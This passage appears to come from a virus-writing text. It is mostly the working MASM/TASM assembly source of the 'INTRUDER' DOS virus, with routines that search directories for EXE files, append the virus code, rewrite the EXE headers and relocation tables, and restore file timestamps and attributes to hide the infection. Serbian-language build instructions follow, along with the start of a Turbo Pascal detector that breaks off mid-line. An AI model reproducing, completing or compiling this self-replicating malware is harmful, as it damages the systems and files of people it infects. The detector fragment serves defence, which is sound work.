    NEXTEXE: or al,al ;is DOS return OK? jnz FEC ;no - quit with C set pop di inc di stosb ;truncate \dir\*.EXE to \dir\ mov di,OFFSET USEFILE mov si,OFFSET DTA1+1EH call CONCAT ;setup file name \dir\filename.exe dec di push di call FILE_OK ;yes - is this a good file to use? jnc FENC ;yes - valid file found exit with c reset mov ah,4FH int 21H ;do find next jmp SHORT NEXTEXE ;and go test it for validity

    FEC: ;no valid file found, return with C set

  • 30 pop di mov BYTE PTR [di],0 ;truncate \dir\filename.exe to \dir stc ret

    FENC: ;valid file found, return with NC

    pop di ret

    ;******************************************************************* ;Third Level - Part B - Find a subdirectory ; ;This function searches the file path in USEFILE for subdirectories, excluding ;the subdirectory header entries. If one is found, it returns with Z set, and ;if not, it returns with NZ set. ;There are two entry points here, FIRSTDIR, which does the search first, and ;NEXTDIR, which does the search next. ; FIRSTDIR:

    call GET_DTA ;put proper DTA address in dx push dx ;save it mov ah,1AH ;set DTA int 21H mov dx,OFFSET USEFILE mov cx,10H ;search for a directory mov ah,4EH ;do search first function int 21H

    NEXTD1: pop bx ;get pointer to search table (DTA) or al,al ;successful search? jnz NEXTD3 ;no, quit with NZ set test BYTE PTR [bx+15H],10H ;is this a directory? jz NEXTDIR ;no, find another cmp BYTE PTR [bx+1EH],. ;is it a subdirectory header? jne NEXTD2 ;no-valid directory, exit, setting Z flag

    ;else it was dir header entry, so fall through

    NEXTDIR: ;second entry point for search next

    call GET_DTA ;get proper DTA address again-may not be set up push dx mov ah,1AH ;set DTA int 21H mov ah,4FH int 21H ;do find next jmp SHORT NEXTD1 ;and loop to check the validity of the return

    NEXTD2: xor al,al ;successful exit, set Z flag

    NEXTD3:

  • 31 ret ;exit routine

    ;******************************************************************* ;Return the DTA address associated to LEVEL in dx. This is simply given by ;OFFSET DTA2 + (LEVEL*2BH). Each level must have a different search record ;in its own DTA, since a search at a lower level occurs in the middle of the ;higher level search, and we dont want the higher level being ruined by ;corrupted data. ; GET_DTA:

    mov dx,OFFSET DTA2 mov al,2BH mul [LEVEL] add dx,ax ;return with dx= proper dta offset ret

    ;******************************************************************* ;Concatenate two strings: Add the asciiz string at DS:SI to the asciiz ;string at ES:DI. Return ES:DI pointing to the end of the first string in the ;destination (or the first character of the second string, after moved). ; CONCAT:

    mov al,byte ptr es:[di] ;find the end of string 1 inc di or al,al dec di ;di points to the null at the end push di ;save it to return to the caller

    CONCAT2: cld lodsb ;move second string to end of first stosb or al,al jnz CONCAT2 pop di ;and restore di to point ret ;to end of string 1

    ;******************************************************************* ;Function to determine whether the EXE file specified in USEFILE is useable. ;if so return nc, else return c ;What makes an EXE file useable?: ; a) The signature field in the EXE header must be MZ. (These are the first two bytes in the file.) ; b) The Overlay Number field in the EXE header must be zero. ; c) There must be room in the relocatable table for NUMRELS more relocatables without enlarging it. ; d) The word VIRUSID must not appear in the 2 bytes just before the initial CS:0000 of the test file. If it does, the virus is probably already in that file, so we skip it. ; FILE_OK:

  • 32 call GET_EXE_HEADER ;read EXE header in USEFILE into EXE_HDR jc OK_END ;error in reading the file, so quit call CHECK_SIG_OVERLAY ;is the overlay number zero? jc OK_END ;no - exit with c set call REL_ROOM ;is there room in the relocatable table? jc OK_END ;no - exit call IS_ID_THERE ;is id at CS:0000?

    OK_END: ret ;return with c flag set properly ;******************************************************************* ;Returns c if signature in the EXE header is anything but MZ or the overlay ;number is anything but zero. CHECK_SIG_OVERLAY:

    mov al,M ;check the signature first mov ah,Z cmp ax,WORD PTR [EXE_HDR] jz CSO_1 ;jump if OK stc ;else set carry and exit ret

    CSO_1: xor ax,ax sub ax,WORD PTR [EXE_HDR+26] ;subtract the overlay number from 0 ret ;c is set if its anything but 0

    ;******************************************************************* ;This function reads the 28 byte EXE file header for the file named in USEFILE. ;It puts the header in EXE_HDR, and returns c set if unsuccessful. ; GET_EXE_HEADER:

    Mov dx,OFFSET USEFILE mov ax,3D02H ;r/w access open file int 21H jc RE_RET ;error opening - quit without closing mov [HANDLE],ax ;else save file handle mov bx,ax ;handle to bx mov cx,1CH ;read 28 byte EXE file header mov dx,OFFSET EXE_HDR ;into this buffer mov ah,3FH int 21H

    RE_RET: ret ;return with c set properly ;******************************************************************* ;This function determines if there are at least NUMRELS openings in the ;current relocatable table in USEFILE. If there are, it returns with ;carry reset, otherwise it returns with carry set. The computation ;this routine does is to compare whether ; ((Header Size * 4) + Number of Relocatables) * 4 - Start of Rel Table ;is = than 4 * NUMRELS. If it is, then there is enough room ; REL_ROOM:

    mov ax,WORD PTR [EXE_HDR+8] ;size of header, paragraphs add ax,ax

  • 33 add ax,ax sub ax,WORD PTR [EXE_HDR+6] ;number of relocatables add ax,ax add ax,ax sub ax,WORD PTR [EXE_HDR+24];start of relocatable table cmp ax,4*NUMRELS ;enough room to put relocatables in?

    RR_RET: ret ;exit with carry set properly ;******************************************************************* ;This function determines whether the word at the initial CS:0000 in USEFILE ;is the same as VIRUSID in this program. If it is, it returns c set, otherwise ;it returns c reset. ; IS_ID_THERE:

    mov ax,WORD PTR [EXE_HDR+22] ;Initial CS add ax,WORD PTR [EXE_HDR+8] ;Header size mov dx,16 mul dx mov cx,dx mov dx,ax ;cx:dx = where to look for VIRUSID in file Mov bx,[HANDLE] mov ax,4200H ;set file pointer, relative to beginning int 21H mov ah,3FH mov bx,[HANDLE] mov dx,OFFSET VIDC mov cx,2 ;read 2 bytes into VIDC int 21H jc II_RET ;error-report as though ID is there already mov ax,[VIDC] cmp ax,[VIRUSID] ;is it the VIRUSID? clc jnz II_RET ;if not, virus is not already in this file stc ;else it is probably there already

    II_RET: ret ;******************************************************************* ;This routine makes sure file end is at paragraph boundary, so the virus ;can be attached with a valid CS, with IP=0. Assumes file pointer is at end ;of file. SETBDY:

    mov al,BYTE PTR [FSIZE] and al,0FH ;see if we have a paragraph boundary jz SB_E ;all set - exit mov cx,10H ;no - write any old bytes to even it up sub cl,al ;number of bytes to write in cx

  • 34 mov dx,OFFSET FINAL ;set buffer up to point anywhere add WORD PTR [FSIZE],cx ;update FSIZE adc WORD PTR [FSIZE+2],0 mov bx,[HANDLE] mov ah,40H ;DOS write function int 21H

    SB_E: ret ;******************************************************************* ;This routine moves the virus (this program) to the end of the EXE file ;Basically, it just copies everything here to there, and then goes and ;adjusts the EXE file header and two relocatables in the program, so that ;it will work in the new environment. It also makes sure the virus starts ;on a paragraph boundary, and adds how many bytes are necessary to do that. ; INFECT:

    mov cx,WORD PTR [FSIZE+2] mov dx,WORD PTR [FSIZE] mov bx,[HANDLE] mov ax,4200H ;set file pointer, relative to start int 21H ;go to end of file call SETBDY ;lengthen to pgrph bdry if necessary mov cx,OFFSET FINAL ;last byte of code xor dx,dx ;first byte of code, DS:DX mov bx,[HANDLE] ;move virus code to end of file being mov ah,40H ;attacked, using DOS write function int 21H mov dx,WORD PTR [FSIZE] ;find 1st relocatable in code (SS) mov cx,WORD PTR [FSIZE+2] mov bx,OFFSET REL1 ;it is at FSIZE+REL1+1 in the file inc bx add dx,bx mov bx,0 adc cx,bx ;cx:dx is that number mov bx,[HANDLE] mov ax,4200H ;set file pointer to 1st relocatable int 21H mov dx,OFFSET EXE_HDR+14 ;get correct old SS for new program mov bx,[HANDLE] ;from the EXE header mov cx,2 mov ah,40H ;and write it to relocatable REL1+1 int 21H mov dx,WORD PTR [FSIZE] mov cx,WORD PTR [FSIZE+2]

  • 35 mov bx,OFFSET REL1A ;put in correct old SP from EXE header inc bx ;at FSIZE+REL1A+1 add dx,bx mov bx,0 adc cx,bx ;cx:dx points to FSIZE+REL1A+1 mov bx,[HANDLE] mov ax,4200H ;set file ptr to place to write SP to int 21H mov dx,OFFSET EXE_HDR+16 ;get correct old SP for binfected pgm mov bx,[HANDLE] ;from EXE header mov cx,2 mov ah,40H ;and write it where it belongs int 21H mov dx,WORD PTR [FSIZE] mov cx,WORD PTR [FSIZE+2] mov bx,OFFSET REL2 ;put in correct old CS:IP in program add bx,1 ;at FSIZE+REL2+1 on disk add dx,bx mov bx,0 adc cx,bx ;cx:dx points to FSIZE+REL2+1 mov bx,[HANDLE] mov ax,4200H ;set file ptr relavtive to beginning int 21H mov dx,OFFSET EXE_HDR+20 ;get correct old CS:IP from EXE header mov bx,[HANDLE] mov cx,4 mov ah,40H ;and write 4 bytes to FSIZE+REL2+1 int 21H

    ;done writing relocatable vectors ;so now adjust the EXE header values

    xor cx,cx xor dx,dx mov bx,[HANDLE] mov ax,4200H ;set file pointer to start of file int 21H mov ax,WORD PTR [FSIZE] ;calculate new init CS (the virus CS) mov cl,4 ;given by (FSIZE/16)-HEADER SIZE shr ax,cl ;(in paragraphs)

  • 36 mov bx,WORD PTR [FSIZE+2] and bl,0FH mov cl,4 shl bl,cl add ah,bl sub ax,WORD PTR [EXE_HDR+8] ;(exe header size, in paragraphs) mov WORD PTR [EXE_HDR+22],ax ;and save as initial CS mov bx,OFFSET FINAL ;compute new initial SS add bx,10H ;using the formula mov cl,4 ;SSi=(CSi + (OFFSET FINAL+16)/16) shr bx,cl add ax,bx mov WORD PTR [EXE_HDR+14],ax ;and save it mov ax,OFFSET VIRUS ;get initial IP mov WORD PTR [EXE_HDR+20],ax ;and save it mov ax,STACKSIZE ;get initial SP mov WORD PTR [EXE_HDR+16],ax ;and save it mov dx,WORD PTR [FSIZE+2] mov ax,WORD PTR [FSIZE] ;calculate new file size mov bx,OFFSET FINAL add ax,bx xor bx,bx adc dx,bx ;put it in ax:dx add ax,200H ;and set up the new page count adc dx,bx ;page ct= (ax:dx+512)/512 push ax mov cl,9 shr ax,cl mov cl,7 shl dx,cl add ax,dx mov WORD PTR [EXE_HDR+4],ax ;and save it here pop ax and ax,1FFH ;now calculate last page size mov WORD PTR [EXE_HDR+2],ax ;and put it here mov ax,NUMRELS ;adjust relocatables counter add WORD PTR [EXE_HDR+6],ax mov cx,1CH ;and save data at start of file mov dx,OFFSET EXE_HDR mov bx,[HANDLE] mov ah,40H ;DOS write function int 21H mov ax,WORD PTR [EXE_HDR+6] ;get number of relocatables in table dec ax ;in order to calculate location of dec ax ;where to add relocatables mov bx,4 ;Location=(No in tbl-

  • 37 2)*4+Table Offset mul bx add ax,WORD PTR [EXE_HDR+24] ;table offset mov bx,0 adc dx,bx ;dx:ax=end of old table in file mov cx,dx mov dx,ax mov bx,[HANDLE] mov ax,4200H ;set file pointer to table end int 21H mov ax,WORD PTR [EXE_HDR+22] ;and set up 2 pointers: mov bx,OFFSET REL1 ;init CS = seg of REL1 inc bx ;offset of REL1 mov WORD PTR [EXE_HDR],bx ;use EXE_HDR as a buffer to mov WORD PTR [EXE_HDR+2],ax ;save relocatables in for now mov ax,WORD PTR [EXE_HDR+22] ;init CS = seg of REL2 mov bx,OFFSET REL2 add bx,3 ;offset of REL2 mov WORD PTR [EXE_HDR+4],bx ;write it to buffer mov WORD PTR [EXE_HDR+6],ax mov cx,8 ;and then write 8 bytes of data in file mov dx,OFFSET EXE_HDR mov bx,[HANDLE] mov ah,40H ;DOS write function int 21H ret ;thats it, infection is complete!

    ;******************************************************************* ;This routine determines whether the reproduction code should be executed. ;If it returns Z, the reproduction code is executed, otherwise it is not. ;Currently, it only executes if the system time variable is a multiple of ;TIMECT. As such, the virus will reproduce only 1 out of every TIMECT+1 ;executions of the program. TIMECT should be 2^n-1 ;Note that the ret at SR1 is replaced by a NOP by SETSR whenever the program ;is run. This makes SHOULDRUN return Z for sure the first time, so it ;definitely runs when this loader program is run, but after that, the time must ;be an even multiple of TIMECT+1. ; TIMECT EQU 63 ;Determines how often to reproduce (1/64 here) ; SHOULDRUN:

    xor ah,ah ;zero ax to start, set z flag

    SR1: ret ;this gets replaced by NOP when program runs

    int 1AH and dl,TIMECT ;is it an even multiple of TIMECT+1 ticks? ret ;return with z flag set if it is, else nz set

  • 38 ;******************************************************************* ;SETSR modifies SHOULDRUN so that the full procedure gets run ;it is redundant after the initial load SETSR: mov al,90H ;NOP code mov BYTE PTR SR1,al ;put it in place of RET above ret ;and return ;******************************************************************* ;This routine sets up the new DTA location at DTA1, and saves the location of ;the initial DTA in the variable OLDDTA. NEW_DTA:

    mov ah,2FH ;get current DTA in ES:BX int 21H mov WORD PTR [OLDDTA],bx ;save it here mov ax,es mov WORD PTR [OLDDTA+2],ax mov ax,cs mov es,ax ;set up ES mov dx,OFFSET DTA1 ;set new DTA offset mov ah,1AH int 21H ;and tell DOS where we want it ret

    ;******************************************************************* ;This routine reverses the action of NEW_DTA and restores the DTA to its ;original value. RESTORE_DTA:

    mov dx,WORD PTR [OLDDTA] ;get original DTA seg:ofs mov ax,WORD PTR [OLDDTA+2] mov ds,ax mov ah,1AH int 21H ;and tell DOS where to put it mov ax,cs ;restore ds before exiting mov ds,ax ret

    ;******************************************************************* ;This routine saves the original file attribute in FATTR, the file date and ;time in FDATE and FTIME, and the file size in FSIZE. It also sets the ;file attribute to read/write, and leaves the file opened in read/write ;mode (since it has to open the file to get the date and size), with the handle ;it was opened under in HANDLE. The file path and name is in USEFILE. SAVE_ATTRIBUTE:

    mov ah,43H ;get file attr mov al,0 mov dx,OFFSET USEFILE int 21H mov [FATTR],cl ;save it here mov ah,43H ;now set file attr to r/w mov al,1 mov dx,OFFSET USEFILE mov cl,0 int 21H mov dx,OFFSET USEFILE

  • 39 mov al,2 ;now that we know its r/w mov ah,3DH ;we can r/w access open file int 21H mov [HANDLE],ax ;save file handle here mov ah,57H ;and get the file date and time xor al,al mov bx,[HANDLE] int 21H mov [FTIME],cx ;and save it here mov [FDATE],dx ;and here mov ax,WORD PTR [DTA1+28] ;file size was set up here by mov WORD PTR [FSIZE+2],ax ;search routine mov ax,WORD PTR [DTA1+26] ;so move it to FSIZE mov WORD PTR [FSIZE],ax ret

    ;******************************************************************* ;Restore file attribute, and date and time of the file as they were before ;it was infected. This also closes the file REST_ATTRIBUTE:

    mov dx,[FDATE] ;get old date and time mov cx,[FTIME] mov ah,57H ;set file date and time to old value mov al,1 mov bx,[HANDLE] int 21H mov ah,3EH mov bx,[HANDLE] ;close file int 21H mov cl,[FATTR] xor ch,ch mov ah,43H ;Set file attr to old value mov al,1 mov dx,OFFSET USEFILE int 21H ret

    FINAL: ;last byte of code to be kept in virus VSEG ENDS ;******************************************************************* ;Virus stack segment

    VSTACK SEGMENT PARA STACK db STACKSIZE dup (?) VSTACK ENDS

    END VIRUS ;Entry point is the virus Za prevod INTRUDER virusa koristi se MASM, samo ako

    masm intruder; link intruder;

  • 40

    upotrebi TASM, samo zameni TASM za MASM ne dalje nego u taj. Ako uptrebi neki prevod sledi tako da:

    a86 intruder.asm intruder.obj link intruder;

    Potpuno pravilno. Zavri gore sa INTRUDEREXE, koja je izvesna zarazna datoteka.

    Jer virus upozorava na spoljanje zarazivanje failova, to je u sutini nevidljivo. Sledei turbo paskal program, FINDINT, bie smeten u programu na nekom drajv disku. Samo pozove to tako FINDINT D i pregleda D: drajv za zarazu faila i tako dalje.

    {The program find_intruder determines which files are infected by the INTRUDER virus on a specified disk drive. It works by looking for the same ID code as the virus does when determining whether a file has already been infected. That code is located at the initial code segment, offset 0, in the EXE file. This must be located in the disk file and read, and compared with the value contained in INTRUDER}

    program find_intruder; {Compile with Turbo Pascal 4.0 or higher}

    uses dos;

    const id_check :word=$C